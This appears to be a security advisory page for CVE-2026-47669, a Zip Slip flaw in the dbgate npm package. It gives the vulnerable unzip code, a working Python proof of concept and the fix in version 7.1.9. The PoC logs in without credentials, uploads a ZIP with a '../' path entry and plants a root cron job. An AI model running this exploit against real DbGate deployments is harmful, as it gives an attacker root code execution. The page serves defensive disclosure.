CVE-2026-47669 — dbgate
CVE-2026-47669 is a Path Traversal vulnerability in dbgate. A fix is available for dbgate — see the affected versions and patch details below.
DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-47669.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
dbgatenpmDescription
The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.
In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.
Affected code:
packages/api/src/shell/unzipDirectory.js, line 27:
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory
Called from packages/api/src/controllers/archive.js, lines 291-293:
async unzip({ folder }) {
const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.
PoC:
import requests, zipfile, io
TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
"* * * * * root id > /tmp/pwned\n")
buf.seek(0)
# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()
# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")
Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dbgate | all versions | 7.1.9npm install dbgate@7.1.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dbgate, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dbgate to 7.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47669 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-47669 in your dependencies?
Find it across npm, including transitive dependencies.